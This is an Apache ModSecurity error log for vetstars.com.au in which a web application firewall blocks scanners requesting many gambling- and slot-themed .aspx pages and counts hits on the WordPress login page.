[Thu Feb 19 20:53:52.953823 2026] [:error] [pid 5580:tid 5600] [client 54.37.252.118:49732] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aZcH4IV24kZpmf6nh3AJfAAAAdA"]
[Thu Feb 19 20:53:55.322534 2026] [:error] [pid 48901:tid 48931] [client 54.37.252.118:41310] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aZcH48ixYz-lHbN0WBLKIQAAABU"]
[Thu Feb 19 20:53:57.895328 2026] [:error] [pid 48901:tid 48915] [client 54.37.252.118:41312] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aZcH5cixYz-lHbN0WBLKJAAAAAU"]
[Thu Feb 19 20:54:00.632560 2026] [:error] [pid 48901:tid 48910] [client 54.37.252.118:41326] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aZcH6MixYz-lHbN0WBLKJgAAAAA"]
[Thu Feb 19 20:54:03.043917 2026] [:error] [pid 24048:tid 24059] [client 54.37.252.118:41330] [client 54.37.252.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aZcH62ug6wHHqU0QyDb-QwAAAUk"]
[Thu Feb 19 20:55:50.719726 2026] [:error] [pid 15513:tid 15516] [client 68.178.164.217:55428] [client 68.178.164.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.178.164.217, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZcIVsGTRTE022JWg1_vOAAAAQE"]
[Fri Feb 20 00:00:17.314226 2026] [:error] [pid 5548:tid 5561] [client 31.30.167.204:26180] [client 31.30.167.204] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.30.167.204, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZczkZMpsAkdKxbTbsPcIwAAAYo"]
[Fri Feb 20 00:04:58.031636 2026] [:error] [pid 5581:tid 5617] [client 104.208.160.135:36240] [client 104.208.160.135] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.208.160.135, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZc0qnIfW0xlXmrVd3r01QAAAgY"]
[Fri Feb 20 00:37:47.465366 2026] [:error] [pid 24048:tid 24068] [client 79.137.67.84:60342] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aZc8W2ug6wHHqU0QyDYszAAAAVI"]
[Fri Feb 20 00:37:49.911307 2026] [:error] [pid 49002:tid 49028] [client 79.137.67.84:38038] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aZc8XVfcBtQ6hSJuEQmN-gAAAM4"]
[Fri Feb 20 00:37:52.221442 2026] [:error] [pid 48901:tid 48921] [client 79.137.67.84:38044] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aZc8YMixYz-lHbN0WBICTAAAAAs"]
[Fri Feb 20 00:37:54.545444 2026] [:error] [pid 5548:tid 5575] [client 79.137.67.84:38048] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aZc8YpMpsAkdKxbTbsPhnAAAAZg"]
[Fri Feb 20 00:37:57.026970 2026] [:error] [pid 24048:tid 24066] [client 79.137.67.84:38050] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aZc8ZWug6wHHqU0QyDYs0wAAAVA"]
[Fri Feb 20 00:37:59.501217 2026] [:error] [pid 24048:tid 24070] [client 79.137.67.84:38054] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aZc8Z2ug6wHHqU0QyDYs1wAAAVQ"]
[Fri Feb 20 00:38:01.960762 2026] [:error] [pid 48901:tid 48930] [client 79.137.67.84:39610] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aZc8acixYz-lHbN0WBICZwAAABQ"]
[Fri Feb 20 00:38:04.427828 2026] [:error] [pid 48903:tid 48988] [client 79.137.67.84:39618] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aZc8bI6aTgKrpAR115sd0wAAAJc"]
[Fri Feb 20 00:38:06.875993 2026] [:error] [pid 24048:tid 24052] [client 79.137.67.84:39620] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aZc8bmug6wHHqU0QyDYs3AAAAUI"]
[Fri Feb 20 00:38:09.333135 2026] [:error] [pid 15513:tid 15526] [client 79.137.67.84:39626] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aZc8ccGTRTE022JWg18rqQAAAQs"]
[Fri Feb 20 00:38:11.639075 2026] [:error] [pid 5581:tid 5619] [client 79.137.67.84:54712] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aZc8c3IfW0xlXmrVd3r8OQAAAgg"]
[Fri Feb 20 00:38:14.094172 2026] [:error] [pid 24048:tid 24056] [client 79.137.67.84:54732] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aZc8dmug6wHHqU0QyDYs4QAAAUY"]
[Fri Feb 20 00:38:16.573731 2026] [:error] [pid 24048:tid 24061] [client 79.137.67.84:54756] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aZc8eGug6wHHqU0QyDYs5gAAAUs"]
[Fri Feb 20 00:38:18.867757 2026] [:error] [pid 15513:tid 15525] [client 79.137.67.84:54770] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aZc8esGTRTE022JWg18rrwAAAQo"]
[Fri Feb 20 00:38:21.164366 2026] [:error] [pid 48902:tid 48962] [client 79.137.67.84:50446] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aZc8fWcJ-6aYRpRRFsVW1QAAAFg"]
[Fri Feb 20 00:38:23.460178 2026] [:error] [pid 24048:tid 24052] [client 79.137.67.84:50458] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aZc8f2ug6wHHqU0QyDYs7QAAAUI"]
[Fri Feb 20 00:38:25.764798 2026] [:error] [pid 5580:tid 5584] [client 79.137.67.84:50466] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aZc8gYV24kZpmf6nh3AvvAAAAcE"]
[Fri Feb 20 00:38:28.083894 2026] [:error] [pid 48903:tid 48976] [client 79.137.67.84:50476] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aZc8hI6aTgKrpAR115sd7wAAAIs"]
[Fri Feb 20 00:38:30.540382 2026] [:error] [pid 24048:tid 24069] [client 79.137.67.84:42138] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aZc8hmug6wHHqU0QyDYs8gAAAVM"]
[Fri Feb 20 00:38:32.991260 2026] [:error] [pid 5581:tid 5619] [client 79.137.67.84:42154] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aZc8iHIfW0xlXmrVd3r8UQAAAgg"]
[Fri Feb 20 00:38:35.284779 2026] [:error] [pid 48902:tid 48961] [client 79.137.67.84:42170] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aZc8i2cJ-6aYRpRRFsVW3AAAAFc"]
[Fri Feb 20 00:38:37.596687 2026] [:error] [pid 24048:tid 24057] [client 79.137.67.84:42192] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aZc8jWug6wHHqU0QyDYs-wAAAUc"]
[Fri Feb 20 00:38:39.896672 2026] [:error] [pid 24048:tid 24053] [client 79.137.67.84:52860] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aZc8j2ug6wHHqU0QyDYtAgAAAUM"]
[Fri Feb 20 00:38:42.192441 2026] [:error] [pid 5580:tid 5594] [client 79.137.67.84:52880] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aZc8koV24kZpmf6nh3AvyQAAAco"]
[Fri Feb 20 00:39:07.671010 2026] [:error] [pid 15513:tid 15531] [client 79.137.67.84:52882] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aZc8q8GTRTE022JWg18r4gAAARA"]
[Fri Feb 20 00:39:10.117759 2026] [:error] [pid 24048:tid 24051] [client 79.137.67.84:51368] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZc8rmug6wHHqU0QyDYtIgAAAUE"]
[Fri Feb 20 00:39:12.570661 2026] [:error] [pid 15513:tid 15538] [client 79.137.67.84:51376] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aZc8sMGTRTE022JWg18r5AAAARc"]
[Fri Feb 20 00:39:15.023558 2026] [:error] [pid 49002:tid 49025] [client 79.137.67.84:51390] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aZc8s1fcBtQ6hSJuEQmOLgAAAMs"]
[Fri Feb 20 00:39:17.325631 2026] [:error] [pid 48901:tid 48916] [client 79.137.67.84:51394] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aZc8tcixYz-lHbN0WBICswAAAAY"]
[Fri Feb 20 00:39:19.638424 2026] [:error] [pid 5548:tid 5559] [client 79.137.67.84:51410] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZc8t5MpsAkdKxbTbsPh0gAAAYg"]
[Fri Feb 20 00:39:21.938462 2026] [:error] [pid 5548:tid 5565] [client 79.137.67.84:40354] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aZc8uZMpsAkdKxbTbsPh1AAAAY4"]
[Fri Feb 20 00:39:24.245827 2026] [:error] [pid 48902:tid 48953] [client 79.137.67.84:40358] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aZc8vGcJ-6aYRpRRFsVW_gAAAE8"]
[Fri Feb 20 00:39:26.708096 2026] [:error] [pid 5548:tid 5562] [client 79.137.67.84:40378] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aZc8vpMpsAkdKxbTbsPh2wAAAYs"]
[Fri Feb 20 00:39:29.166103 2026] [:error] [pid 48902:tid 48947] [client 79.137.67.84:40384] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aZc8wWcJ-6aYRpRRFsVXAQAAAEk"]
[Fri Feb 20 00:39:31.627599 2026] [:error] [pid 48902:tid 48959] [client 79.137.67.84:37296] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZc8w2cJ-6aYRpRRFsVXAgAAAFU"]
[Fri Feb 20 00:39:34.079130 2026] [:error] [pid 5581:tid 5620] [client 79.137.67.84:37306] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aZc8xnIfW0xlXmrVd3r8hwAAAgk"]
[Fri Feb 20 00:39:36.530564 2026] [:error] [pid 48901:tid 48932] [client 79.137.67.84:37320] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aZc8yMixYz-lHbN0WBICyAAAABY"]
[Fri Feb 20 00:39:38.990726 2026] [:error] [pid 48901:tid 48924] [client 79.137.67.84:37334] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aZc8ysixYz-lHbN0WBICzQAAAA4"]
[Fri Feb 20 00:39:41.467245 2026] [:error] [pid 5581:tid 5623] [client 79.137.67.84:57200] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aZc8zXIfW0xlXmrVd3r8jAAAAgw"]
[Fri Feb 20 00:39:43.762880 2026] [:error] [pid 49002:tid 49024] [client 79.137.67.84:57210] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aZc8z1fcBtQ6hSJuEQmOQAAAAMo"]
[Fri Feb 20 00:39:46.228683 2026] [:error] [pid 5580:tid 5584] [client 79.137.67.84:57226] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aZc80oV24kZpmf6nh3AwAwAAAcE"]
[Fri Feb 20 00:39:48.687666 2026] [:error] [pid 48902:tid 48939] [client 79.137.67.84:57230] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aZc81GcJ-6aYRpRRFsVXCwAAAEE"]
[Fri Feb 20 00:39:51.148222 2026] [:error] [pid 49002:tid 49027] [client 79.137.67.84:35402] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aZc811fcBtQ6hSJuEQmORAAAAM0"]
[Fri Feb 20 00:39:53.605262 2026] [:error] [pid 49002:tid 49026] [client 79.137.67.84:35414] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aZc82VfcBtQ6hSJuEQmOSQAAAMw"]
[Fri Feb 20 00:39:56.062730 2026] [:error] [pid 49002:tid 49033] [client 79.137.67.84:35416] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aZc83FfcBtQ6hSJuEQmOTQAAANM"]
[Fri Feb 20 00:39:58.368023 2026] [:error] [pid 15513:tid 15538] [client 79.137.67.84:35424] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aZc83sGTRTE022JWg18sGAAAARc"]
[Fri Feb 20 00:40:00.675539 2026] [:error] [pid 24048:tid 24067] [client 79.137.67.84:46426] [client 79.137.67.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aZc84Gug6wHHqU0QyDYtSAAAAVE"]
